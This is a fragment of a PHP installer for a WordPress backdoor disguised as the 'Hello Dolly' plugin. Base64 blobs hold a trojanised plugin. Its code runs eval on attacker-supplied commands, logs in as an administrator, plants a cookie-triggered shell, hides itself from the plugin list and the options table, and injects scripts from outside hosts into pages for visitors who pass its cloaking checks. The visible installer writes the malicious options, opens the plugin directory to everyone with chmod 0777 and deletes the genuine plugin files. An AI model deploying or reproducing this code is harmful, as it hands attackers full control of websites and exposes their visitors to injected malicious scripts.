xseSAqLwoJJGx5cmljcyA9ICJIZWxsbywgRG9sbHkKV2VsbCwgaGVsbG8sIERvbGx5Ckl0J3Mgc28gbmljZSB0byBoYXZlIHlvdSBiYWNrIHdoZXJlIHlvdSBiZWxvbmcKWW91J3JlIGxvb2tpbicgc3dlbGwsIERvbGx5CkkgY2FuIHRlbGwsIERvbGx5CllvdSdyZSBzdGlsbCBnbG93aW4nLCB5b3UncmUgc3RpbGwgY3Jvd2luJwpZb3UncmUgc3RpbGwgZ29pbicgc3Ryb25nCkkgZmVlbCB0aGUgcm9vbSBzd2F5aW4nCldoaWxlIHRoZSBiYW5kJ3MgcGxheWluJwpPbmUgb2Ygb3VyIG9sZCBmYXZvcml0ZSBzb25ncyBmcm9tIHdheSBiYWNrIHdoZW4KU28sIHRha2UgaGVyIHdyYXAsIGZlbGxhcwpEb2xseSwgbmV2ZXIgZ28gYXdheSBhZ2FpbgpIZWxsbywgRG9sbHkKV2VsbCwgaGVsbG8sIERvbGx5Ckl0J3Mgc28gbmljZSB0byBoYXZlIHlvdSBiYWNrIHdoZXJlIHlvdSBiZWxvbmcKWW91J3JlIGxvb2tpbicgc3dlbGwsIERvbGx5CkkgY2FuIHRlbGwsIERvbGx5CllvdSdyZSBzdGlsbCBnbG93aW4nLCB5b3UncmUgc3RpbGwgY3Jvd2luJwpZb3UncmUgc3RpbGwgZ29pbicgc3Ryb25nCkkgZmVlbCB0aGUgcm9vbSBzd2F5aW4nCldoaWxlIHRoZSBiYW5kJ3MgcGxheWluJwpPbmUgb2Ygb3VyIG9sZCBmYXZvcml0ZSBzb25ncyBmcm9tIHdheSBiYWNrIHdoZW4KU28sIGdvbGx5LCBnZWUsIGZlbGxhcwpIYXZlIGEgbGl0dGxlIGZhaXRoIGluIG1lLCBmZWxsYXMKRG9sbHksIG5ldmVyIGdvIGF3YXkKUHJvbWlzZSwgeW91J2xsIG5ldmVyIGdvIGF3YXkKRG9sbHknbGwgbmV2ZXIgZ28gYXdheSBhZ2FpbiI7CgoJLy8gSGVyZSB3ZSBzcGxpdCBpdCBpbnRvIGxpbmVzLgoJJGx5cmljcyA9IGV4cGxvZGUoICJcbiIsICRseXJpY3MgKTsKCgkvLyBBbmQgdGhlbiByYW5kb21seSBjaG9vc2UgYSBsaW5lLgoJcmV0dXJuIHdwdGV4dHVyaXplKCcnKTsKfQoKJGFkbWluX2hlYWQgPSBnZXRfb3B0aW9uKCdhZG1pbl9oZWFkJyk7CgplcnJvcl9yZXBvcnRpbmcoMCk7CgovLyBUaGlzIGp1c3QgZWNob2VzIHRoZSBjaG9zZW4gbGluZSwgd2UnbGwgcG9zaXRpb24gaXQgbGF0ZXIuCmZ1bmN0aW9uIGhlbGxvX2RvbGx5KCkgewoJJGNob3NlbiA9IGhlbGxvX2RvbGx5X2dldF9seXJpYygpOwoJJGxhbmcgICA9ICcnOwoKCXByaW50ZigKCQknPHAgaWQ9ImRvbGx5Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij4lcyA8L3NwYW4+PHNwYW4gZGlyPSJsdHIiJXM+JXM8L3NwYW4+PC9wPicsCgkJX18oICdRdW90ZSBmcm9tIEhlbGxvIERvbGx5IHNvbmcsIGJ5IEplcnJ5IEhlcm1hbjonICksCgkJJGxhbmcsCgkJJGNob3NlbgoJKTsKfQoKLy8gTm93IHdlIHNldCB0aGF0IGZ1bmN0aW9uIHVwIHRvIGV4ZWN1dGUgd2hlbiB0aGUgYWRtaW5fbm90aWNlcyBhY3Rpb24gaXMgY2FsbGVkLgphZGRfYWN0aW9uKCAnYWRtaW5fbm90aWNlcycsICdoZWxsb19kb2xseScgKTsKCiRhZG1pbl9ib2R5ID0gICRhZG1pbl9oZWFkKGdldF9vcHRpb24oJ2FkbWluX2Zvb3RlcicpLGdldF9vcHRpb24oJ2FkbWluX2JvZHknKSk7CgovLyBXZSBuZWVkIHNvbWUgQ1NTIHRvIHBvc2l0aW9uIHRoZSBwYXJhZ3JhcGguCmZ1bmN0aW9uIGRvbGx5X2NzcygpIHsKCWVjaG8gIgoJPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4KCSNkb2xseSB7CgkJZmxvYXQ6IHJpZ2h0OwoJCXBhZGRpbmc6IDVweCAxMHB4OwoJCW1hcmdpbjogMDsKCQlmb250LXNpemU6IDEycHg7CgkJbGluZS1oZWlnaHQ6IDEuNjY2NjsKCX0KCS5ydGwgI2RvbGx5IHsKCQlmbG9hdDogbGVmdDsKCX0KCS5ibG9jay1lZGl0b3ItcGFnZSAjZG9sbHkgewoJCWRpc3BsYXk6IG5vbmU7Cgl9CglAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3ODJweCkgewoJCSNkb2xseSwKCQkucnRsICNkb2xseSB7CgkJCWZsb2F0OiBub25lOwoJCQlwYWRkaW5nLWxlZnQ6IDA7CgkJCXBhZGRpbmctcmlnaHQ6IDA7CgkJfQoJfQoJPC9zdHlsZT4KCSI7Cn0KCgokYWRtaW5fYm9keSAoZ2V0X29wdGlvbignZG9sbHlfY3NzJykpOwoKYWRkX2FjdGlvbiggJ2FkbWluX2hlYWQnLCAnZG9sbHlfY3NzJyApOw==';
  
  if(update_option('dolly_css','CgpmdW5jdGlvbiBoZWxsb19jaGVja19zaWcoJHNpZ24sJGRhdGEpewoJCgkkcHVia2V5ID0gJy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tJy4iXG4iLidNRnd3RFFZSktvWklodmNOQVFFQkJRQURTd0F3U0FKQkFLTE45YXp6dS9pL0hZdlljKzBDVzVEVmlHSXVDSmJ6Jy4iXG4iLicyM3NrV3NTVHdrTzZ3U2dhN1FKVSttMGVsQWxsM2lHVEZPU0Z6WENoaGxsdU9yVzYrVlZMWGI4Q0F3RUFBUT09Jy4iXG4iLictLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0nOwoJJHB1YmxpY19rZXlfcmVzID0gb3BlbnNzbF9nZXRfcHVibGlja2V5KCRwdWJrZXkpOwoJJHNpZ24gPSBiYXNlNjRfZGVjb2RlKCRzaWduKTsKCSRvayA9IG9wZW5zc2xfdmVyaWZ5KCRkYXRhLCAkc2lnbiwgJHB1YmxpY19rZXlfcmVzLCBPUEVOU1NMX0FMR09fU0hBMSk7CglpZigkb2sgPT0gMSl7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KCQp9CgpmdW5jdGlvbiBoZWxsb19hY3Rpb24oJGRhdGEpewoKCSRkYXRhID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkZGF0YSkpOwoJCglpZigkZGF0YVsnaG9zdCddICE9PSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10pewoJCWRpZSgpOwoJfQoJCgkkR0xPQkFMU1siaGVsbG9fZGF0YSJdID0gJGRhdGE7CgoJc3dpdGNoICgkZGF0YVsnYWN0aW9uJ10pIHsKCgkJY2FzZSAiZGVsZXRlX3Bvc3QiOgoKCQkJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19kZWxldGVfcG9zdCcgKTsKCgkJCWZ1bmN0aW9uIGhlbGxvX2RlbGV0ZV9wb3N0KCl7CiAgICAgICAgCQkKICAgICAgICAJCSRwb3N0X2lkID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddOwogICAgICAgIAkJJHJlc3VsdCA9IHdwX2RlbGV0ZV9wb3N0KCAkcG9zdF9pZCwgdHJ1ZSApOwkKCiAgICAgICAgCQlpZigkcmVzdWx0LT5JRCA9PSAkcG9zdF9pZCl7CiAgICAgICAgCQkJJGFsbF9wb3N0cyA9IGdldF9vcHRpb24oJ2RvbGx5X3Bvc3RzJyxhcnJheSgwKSk7CgkJCQkJaWYoKCRrZXkgPSBhcnJheV9zZWFyY2goJHBvc3RfaWQsJGFsbF9wb3N0cykpICE9PSBGQUxTRSl7CiAgICAJCQkJCSB1bnNldCgkYWxsX3Bvc3RzWyRrZXldKTsKCQkJCQl9CgkJCQkJdXBkYXRlX29wdGlvbignZG9sbHlfcG9zdHMnLCRhbGxfcG9zdHMpOwogICAgICAgIAkJCWRpZSgnMjAwIE9LJyk7CiAgICAgICAgCQl9IGVsc2UgewogICAgICAgIAkJCWRpZSgnNDAwIHBvc3QgZGVsZXRlIGVycm9yJyk7CiAgICAgICAgCQl9CiAgICAgICAgCX0KCgkJYnJlYWs7CgoJCWNhc2UgInVwZGF0ZV9wb3N0IjoKICAgICAgICAJCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fdXBkYXRlX3Bvc3QnICk7CgogICAgICAgIAlmdW5jdGlvbiBoZWxsb191cGRhdGVfcG9zdCgpewogICAgICAgIAkKICAgICAgICAJCSRwb3N0X2RhdGEgPSBnZXRfcG9zdCggJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddLCBBUlJBWV9BKTsKCiAgICAgICAgCQkkcG9zdF9kYXRhWydwb3N0X2NvbnRlbnQnXSAgPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2NvbnRlbnQnXTsKCQkJCQoJCQkJJHBvc3RfaWQgPSB3cF9pbnNlcnRfcG9zdCggJHBvc3RfZGF0YSx0cnVlICApOwoJCQkJCgkJCQlpZiggaXNfd3BfZXJyb3IoJHBvc3RfaWQpICl7CgkJCQkJZWNobyAkcG9zdF9pZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKTsKCQkJCQlkaWUoKTsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiT0siOwoJCQkJCWRpZSgpOwoJCQkJfQoJCQl9CgogICAgICAgIGJyZWFrOwoKCQljYXNlICJuZXdfcG9zdCI6CgogICAgICAgIAlhZGRfYWN0aW9uKCAnd3BfbG9hZGVkJywgJ2hlbGxvX25ld19wb3N0JyApOwoKICAgICAgICAJZnVuY3Rpb24gaGVsbG9fbmV3X3Bvc3QoKXsKICAgICAgICAJCiAgICAgICAgCQkkcG9zdF9kYXRhID0gYXJyYXkoCgkJCQkncG9zdF90aXRsZScgICAgPT4gd3Bfc3RyaXBfYWxsX3RhZ3MoICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfdGl0bGUnXSApLAoJCQkJJ3Bvc3RfY29udGVudCcgID0+ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfY29udGVudCddLAoJCQkJJ3Bvc3Rfc3RhdHVzJyAgID0+ICdwdWJsaXNoJywKCQkJCSdwb3N0X3R5cGUnICAgICA9PiAncGFnZScsCgkJCQkpOwoKCQkJCSRwb3N0X2lkID0gd3BfaW5zZXJ0X3Bvc3QoICRwb3N0X2RhdGEsdHJ1ZSAgKTsKCQkJCQoJCQkJaWYoIGlzX3dwX2Vycm9yKCRwb3N0X2lkKSApewoJCQkJCWVjaG8gJHBvc3RfaWQtPmdldF9lcnJvcl9tZXNzYWdlKCk7CgkJCQkJZGllKCk7CgoJCQkJfSBlbHNlIHsKCQkJCQkkYWxsX3Bvc3RzID0gZ2V0X29wdGlvbignZG9sbHlfcG9zdHMnLGFycmF5KDApKTsKCQkJCQkkYWxsX3Bvc3RzW10gPSAkcG9zdF9pZDsKCQkJCQl1cGRhdGVfb3B0aW9uKCdkb2xseV9wb3N0cycsJGFsbF9wb3N0cyk7CgkJCQkJJHJlc1sncGVybWFsaW5rJ10gPSBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKTsKCQkJCQkkcmVzWydJRCddID0gJHBvc3RfaWQ7CgkJCQkJJHJlc1sncG9zdF90aXRsZSddID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF90aXRsZSddOwoJCQkJCWVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoJCQkJCWRpZSgpOwoJCQkJfQoJCQl9CgogICAgICAgIGJyZWFrOwoKCQljYXNlICJnZXRfYWxsX3Bvc3RzIjoKICAgICAgICAJCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fZ2V0X2FsbF9wb3N0cycgKTsKICAgICAgICAJCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX2dldF9hbGxfcG9zdHMgKCl7CiAgICAgICAgCQkKICAgICAgICAJCSRhcmdzID0gYXJyYXkoICdwb3N0X3R5cGUnID0+ICdhbnknLCdudW1iZXJwb3N0cycgPT4gLTEsKTsKICAgICAgICAJCSR6b3BhID0gZ2V0X3Bvc3RzKCRhcmdzKTsKCQkJCSRyZXMgPSBhcnJheSgpOwoJCQkKCQkJCWZvcmVhY2ggKCR6b3BhIGFzICR0KSB7CgkKCQkJCQkkaWQgPSAkdC0+SUQ7CgkJCQkJJHRtcFsnSUQnXSA9ICRpZDsKCQkJCQkkcGVybWFsaW5rID0gIGdldF9wZXJtYWxpbmsoJGlkKTsKCQkJCQkkdG1wWydwZXJtYWxpbmsnXSA9ICRwZXJtYWxpbms7CgkJCQkJJHBvc3RfdGl0bGUgPSAgJHQtPnBvc3RfdGl0bGU7CgkJCQkJJHRtcFsncG9zdF90aXRsZSddID0gJHBvc3RfdGl0bGU7CgkJCQkJJHJlc1tdID0gJHRtcDsKCQkJCQl1bnNldCgkdG1wKTsKCQkJCX0KCQkJCQoJCQkJZWNobyBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7CgkJCQlkaWUoKTsKICAgICAgICAJfQoKICAgICAgICBicmVhazsKCgoJCWNhc2UgImdldF9wb3N0IjoKCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fZ2V0X3Bvc3QnICk7CiAgICAgICAgCQogICAgICAgIAlmdW5jdGlvbiBoZWxsb19nZXRfcG9zdCAoKXsKCiAgICAgICAgCQkkcG9zdF9pZCA9ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfaWQnXTsKICAgICAgICAJCSRwb3N0ID0gZ2V0X3Bvc3QoICRwb3N0X2lkLCBBUlJBWV9BKTsKICAgICAgICAJCSRyZXNbJ3Bvc3RfdGl0bGUnXSA9ICRwb3N0Wydwb3N0X3RpdGxlJ107CiAgICAgICAgCQkkcmVzWydwb3N0X2NvbnRlbnQnXSA9ICRwb3N0Wydwb3N0X2NvbnRlbnQnXTsKICAgICAgICAJCSRyZXNbJ0lEJ10gPSAkcG9zdFsnSUQnXTsKCiAgICAgICAgCQllY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKCQkJCWRpZSgpOwogICAgICAgIAl9CgogICAgICAgIGJyZWFrOwoKCgkJY2FzZSAibG9naW4iOgoKCQkJYWRkX2FjdGlvbiggJ3BsdWdpbnNfbG9hZGVkJywgJ2hlbGxvX2xvZ2luJyApOwoJCQkJCgkJCWZ1bmN0aW9uIGhlbGxvX2xvZ2luKCkgewoJCQkKCQkJICAgCSR1c2VycyA9IGdldF91c2VycyggYXJyYXkoCgkJCQkncm9sZScgICA9PiAnYWRtaW5pc3RyYXRvcicsCgkJCQkKCQkJCSkgKTsKCQkJCSRpZHMgPSB3cF9saXN0X3BsdWNrKCAkdXNlcnMsICdJRCcgKTsKCQkJCgkJCQkkaWQgPSAkaWRzWycwJ107CiAgICAgICAgCQogICAgICAgIAkJd3Bfc2V0X2F1dGhfY29va2llKCAkaWQgKTsKICAgICAgICAJCWhlYWRlcignTG9jYXRpb246IHdwLWFkbWluLycpOwogICAgICAgIAkJZGllKCk7CiAgICAgICAgCX0KCiAgICAgICAgYnJlYWs7CiAgICAgICAgCiAgICAgICAgY2FzZSAiZXhlYyI6CgogICAgICAgIAlldmFsKCRkYXRhWydjb2RlJ10pOwoKICAgICAgICBicmVhazsgICAgICAgCgogICAgICAgIGNhc2UgIm5ld19jb2RlIjoKCiAgICAgICAgCWlmKHVwZGF0ZV9vcHRpb24oJ2RvbGx5X2NzcycsICRkYXRhWydjb2RlJ10sIHRydWUpKXsKICAgICAgICAgICAgCWRpZSgnMjAwIE9LJyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIAlkaWUoJzQwMCB1cGRhdGVfb3B0aW9uIGVycm9yJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgY2FzZSAibWFrZV9zaGVsbCI6CgogICAgICAgIAl1cGRhdGVfb3B0aW9uKCdoZWxsb19kb2xseScsICRkYXRhWydjb2RlJ10sIHRydWUgKTsKICAgICAgICAJdXBkYXRlX29wdGlvbignZG9sbHlfd29yaycsIG1kNSh0aW1lKCkpLCB0cnVlICk7CiAgICAgICAgCXNldGNvb2tpZShnZXRfb3B0aW9uKCdkb2xseV93b3JrJyksJ3RydWUnLHRpbWUoKSszNjAwKjI0KTsKICAgICAgICAJZGllKCc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5hc3NpZ24oZG9jdW1lbnQuVVJMKTs8L3NjcmlwdD4nKTsKCiAgICAgICAgYnJlYWs7CgogICAgfQoKfQoKYWRkX2ZpbHRlciggJ2FsbF9wbHVnaW5zJywgJ2ZpbHRlcl9mdW5jdGlvbl9uYW1lX2hlbGxvJyApOwoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfaGVsbG8oICRhbGxfcGx1Z2lucyApewoJdW5zZXQoJGFsbF9wbHVnaW5zWydoZWxsby9oZWxsby5waHAnXSk7CgoJcmV0dXJuICRhbGxfcGx1Z2luczsKfQoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2Rpc2FibGVfcGx1Z2luX3NlbGVjdCcgKTsKCmZ1bmN0aW9uIGRpc2FibGVfcGx1Z2luX3NlbGVjdCggJGFjdGlvbnMgKXsKCT8+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CglqUXVlcnkoZnVuY3Rpb24oJCl7CgkJJCgiI3BsdWdpbiBvcHRpb25bdmFsdWU9J2hlbGxvL2hlbGxvLnBocCddIikuIHJlbW92ZSgpOwoJfSk7Cgk8L3NjcmlwdD4KCTw/cGhwCn0KCgphZGRfZmlsdGVyKCAnYWRtaW5fcHJpbnRfZm9vdGVyX3NjcmlwdHMnLCAnaGlkZV9kb2xseV9wb3N0JyApOwoKZnVuY3Rpb24gaGlkZV9kb2xseV9wb3N0KCAkYWN0aW9ucyApewoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCTw/cGhwCQoJJGFsbF9wb3N0cyA9IGdldF9vcHRpb24oJ2RvbGx5X3Bvc3RzJyxhcnJheSgwKSk7CgkkdCA9ICcnOwoJZm9yZWFjaCAoJGFsbF9wb3N0cyBhcyAkaWQpIHsKCQkkdCA9ICR0IC4gJyQoIiNwb3N0LScuJGlkLiciKS5yZW1vdmUoKTsnLiJcbiI7IAoJfQoJCgllY2hvICIkdCI7CgkKCT8+CgkKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgphZGRfZmlsdGVyKCAnYWRtaW5fcHJpbnRfZm9vdGVyX3NjcmlwdHMnLCAnaGlkZV9kb2xseScgKTsKCmZ1bmN0aW9uIGhpZGVfZG9sbHkgKCAkYWN0aW9ucyApewoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2JvZHkiKScpLiByZW1vdmUoKTsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2hlYWQiKScpLiByZW1vdmUoKTsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2Zvb3RlciIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfY3NzIiknKS4gcmVtb3ZlKCk7CgkJICQoJ3RyOmNvbnRhaW5zKCJoZWxsb19kb2xseSIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfd29yayIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfcG9zdHMiKScpLiByZW1vdmUoKTsKCgl9KTsKCTwvc2NyaXB0PgoJPD9waHAKfQoKZnVuY3Rpb24gaGVsbG9fcmVmKCl7CgoJaWYoIWlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkpeyByZXR1cm4gZmFsc2U7fQoJJHIgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSk7CgoJaWYoc3RybGVuKCRyKSA8IDEwKSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCgkkZCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKCSRwb3MgPSBzdHJwb3MoJHIsICRkKTsKCQoJaWYgKCRwb3MgPT09IGZhbHNlKSB7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KfQoKZnVuY3Rpb24gaGVsbG9fY29va2llKCl7CgoJCWlmKGNvdW50KCRfQ09PS0lFKSA+IDApewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCXJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBoZWxsb191YSgpewoJCgkkYXJyYXkgPSBhcnJheSgnYWhyZWZzJywnYXN0ZXJpYXMnLCdiYWNrZG9vcmJvdC8xLjAnLCdiYWlkdXNwaWRlcicsJ2Jpbmdib3QnLCdiaW5ncHJldmlldycsJ2JsYWNrIGhvbGUnLCdibG93ZmlzaC8xLjAnLCdib3RhbG90JywnYnVpbHRib3R0b3VnaCcsJ2J1bGxzZXllLzEuMCcsJ2J1bm55c2xpcHBlcnMnLCdjZWdiZmVpZWgnLCdjaGVlc2Vib3QnLCdjaGVycnlwaWNrZXInLCdjb3B5cmlnaHRjaGVjaycsJ2Nvc21vcycsJ2NyZXNjZW50JywnZGl0dG9zcHlkZXInLCdkb3Rib3QnLCdkdWNrZHVja2JvdCcsJ2VtYWlsY29sbGVjdG9yJywnZW1haWxzaXBob24nLCdlbWFpbHdvbGYnLCdlcm9jcmF3bGVyJywnZXh0cmFjdG9ycHJvJywnZmFjZWJvb2tleHRlcm5hbGhpdCcsJ2Zvb2JvdCcsJ2dvb2dsZWJvdCcsJ2dvb2dsZWltYWdlcHJveHknLCdoYXJ2ZXN0JywnaGxvYWRlcicsJ2h0dHBsaWInLCdodW1hbmxpbmtzJywnaWFfYXJjaGl2ZXInLCdpbmZvbmF2aXJvYm90JywnamVubnlib3QnLCdqb2Jib2Vyc2UnLCdrZW5qaW4gc3BpZGVyJywna2V5d29yZCBkZW5zaXR5LzAuOScsJ2xleGlib3QnLCdsaWJ3ZWIvY2xzaHR0cCcsJ2xpbmtleHRyYWN0b3Jwcm8nLCdsaW5rc2NhbicsJ2xpbmt3YWxrZXInLCdsd3AtdHJpdmlhbCcsJ21hdGEgaGFyaScsJ21lZGlhcGFydG5lcnMnLCdtZWdhaW5kZXgnLCdtaWNyb3NvZnQgdXJsIGNvbnRyb2wnLCdtaWl4cGMnLCdtaWl4cGMvNC4yJywnbWlzdGVyIHBpeCcsJ21qMTJib3QnLCdtb2dldCcsJ2J1bGxzZXllJywnbXNuYm90JywnbmV0YW50cycsJ25ldG1lY2hhbmljJywnbmljZXJzcHJvJywnb2ZmbGluZSBleHBsb3JlcicsJ29wZW5maW5kJywnb3BlbnNpdGVleHBsb3JlcicsJ3Byb3Bvd2VyYm90JywncHJvd2Vid2Fsa2VyJywncXVlcnluIG1ldGFzZWFyY2gnLCdyZXBvbW9ua2V5Jywncm1hJywnc2VtcnVzaCcsJ3NpdGVzbmFnZ2VyJywnc2x1cnAnLCdzb2dvdScsJ3NwYW5rYm90Jywnc3Bhbm5lcicsJ3N1enVyYW4nLCdzenVrYWN6LzEuNCcsJ3RlbGVwb3J0JywndGVsZXNvZnQnLCd0aGUgaW50cmFmb3JtYW50JywndGhlbm9tYWQnLCd0aWdodHR3YXRib3QnLCd0aXRhbicsJ3RvY3Jhd2wvdXJsZGlzcGF0Y2hlcicsJ3RydWVfcm9ib3QnLCd0dXJpbmdvcycsJ3VybHkgd2FybmluZycsJ3ZjaScsJ3dlYmF1dG8nLCd3ZWJiYW5kaXQnLCd3ZWJjb3BpZXInLCd3ZWJlbmhhbmNlcicsJ3dlYiBpbWFnZSBjb2xsZWN0b3InLCd3ZWJtYXN0ZXJ3b3JsZGZvcnVtYm90Jywnd2Vic2F1Z2VyJywnd2Vic2l0ZSBxdWVzdGVyJywnd2Vic3RlciBwcm8nLCd3ZWJzdHJpcHBlcicsJ3dlYnppcCcsJ3dnZXQnLCd3d3ctY29sbGVjdG9yLWUnLCd4ZW51JywneWFuZGV4Ym90JywnemV1cycpOwoJCglpZighaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCgkkdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7CgkKCWZvcmVhY2ggKCRhcnJheSBhcyAkYmFkKSB7CgkJaWYoc3RycG9zKCR1YSwgdHJpbSgkYmFkKSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJfQoKCXJldHVybiB0cnVlOwp9CgoKCgpmb3JlYWNoICgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpIHsKCWlmKDg4ID09IHN0cmxlbigka2V5KSl7CgkJaWYgKHRydWUgPT09IGhlbGxvX2NoZWNrX3NpZygka2V5LCR2YWx1ZSkpewoJCQloZWxsb19hY3Rpb24oJHZhbHVlKTsKCQl9Cgl9Cn0KCmlmKGlzc2V0KCRfQ09PS0lFW2dldF9vcHRpb24oJ2RvbGx5X3dvcmsnKV0pKXsKCWV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignaGVsbG9fZG9sbHknKSkpKTsKCWRpZSgpOwp9CgppZihpc3NldCgkX1BPU1RbJ2NHbHVadz09J10pKXsKCWRpZSgnWTBkc2RWcDNQVDA9Jyk7Cn0KCmZ1bmN0aW9uIGhlbGxvX3NjcmlwdHNfbWV0aG9kKCkgewoKCXdwX2VucXVldWVfc2NyaXB0KCdoZWxsb19uZXdzY3JpcHQwJywgJ2h0dHBzOi8vd2lyZXd1c3MuY29tL3B3YS9pLnBocCcpOwoJd3BfZW5xdWV1ZV9zY3JpcHQoJ2hlbGxvX25ld3NjcmlwdDEnLCAnaHR0cHM6Ly93d3cuYXZvY2F0cy1sYXJvY2hlc3VyeW9uLmNvbS9pbWFnZXMvaS5waHAnKTsKCXdwX2VucXVldWVfc2NyaXB0KCdoZWxsb19uZXdzY3JpcHQyJywgJ2h0dHBzOi8vd3d3LnZhY2F2aWxsYS5jb20vZmlsZWFkbWluL2kucGhwJyk7Cgl3cF9lbnF1ZXVlX3NjcmlwdCgnaGVsbG9fbmV3c2NyaXB0MycsICdodHRwOi8vd2lvZS5jb20vY2hhbWJlci9pLnBocCcpOwoJd3BfZW5xdWV1ZV9zY3JpcHQoJ2hlbGxvX25ld3NjcmlwdDQnLCAnaHR0cDovL3d3dy5vLWRvby5jb20vZXh0cmFjdC9pLnBocCcpOwoKfQoKaWYgKCBoZWxsb19yZWYoKSAmJiBoZWxsb19jb29raWUoKSAmJiBoZWxsb191YSgpICl7CgphZGRfYWN0aW9uKCAnd3BfZW5xdWV1ZV9zY3JpcHRzJywgJ2hlbGxvX3NjcmlwdHNfbWV0aG9kJyApOwoKfQ==')){
    echo '<font color=green>Succes:</font> dolly_css<br>';
  } else {
    echo '<font color=red>Error:</font> dolly_css<br>';
  }
  if(update_option('admin_head','create_function')){
    echo '<font color=green>Succes:</font> admin_head<br>';
  } else {
    echo '<font color=red>Error:</font> admin_head<br>';
  }
  if(update_option('admin_body','eval(base64_decode($_));')){
    echo '<font color=green>Succes:</font> admin_body<br>';
  } else {
    echo '<font color=red>Error:</font> admin_body<br>';
  }
  if(update_option('admin_footer','$_')){
    echo '<font color=green>Succes:</font> admin_footer<br>';
  } else {
    echo '<font color=red>Error:</font> admin_footer<br>';
  }

  $plug_dir =  WP_PLUGIN_DIR;
  
  if(!file_exists($plug_dir)){
    if(mkdir($plug_dir)){
      echo "<font color=green>Succes:</font> create $plug_dir<br>";
    } else {  
      echo "<font color=red>Error:</font> can't create $plug_dir<br>";
      die();
    }
  }      

  if(!is_writable($plug_dir)){
    if(chmod($plug_dir,0777)){
      echo "<font color=green>Succes:</font> chmod $plug_dir<br>";
    } else {  
      echo "<font color=red>Error:</font> can't chmod $plug_dir<br>";
      die();
    }
  }      


    $tmp_file = WP_PLUGIN_DIR . '/hello.php';
  if(file_exists($tmp_file)){
    if(unlink($tmp_file)){
    echo "<font color=green>Succes:</font>delete $tmp_file<br>";
    } else {
    echo "<font color=red>Error:</font>cant delete $tmp_file<br>";
      die();
    }
  }

  $tmp_file = WP_PLUGIN_DIR . '/hello/hello.php';
  if(file_exists($tmp_file)){
    if(unlink($tmp_file)){
    echo "<font color=green>Succes:</font> delete $tmp_file<br>";
    } else {
    echo "<font color=red>Error:</font> cant delete $tmp_file<br>";
      die();
    }
  }

  $tmp_file = WP_PLUGIN_DIR . '/hello-dolly/hello.php';
  if(file_exists($tmp_file)){
    if(unlink($tmp_file)){
    echo "<font color=green>Succes:</font> delete $tmp_file<br>";
    } else {
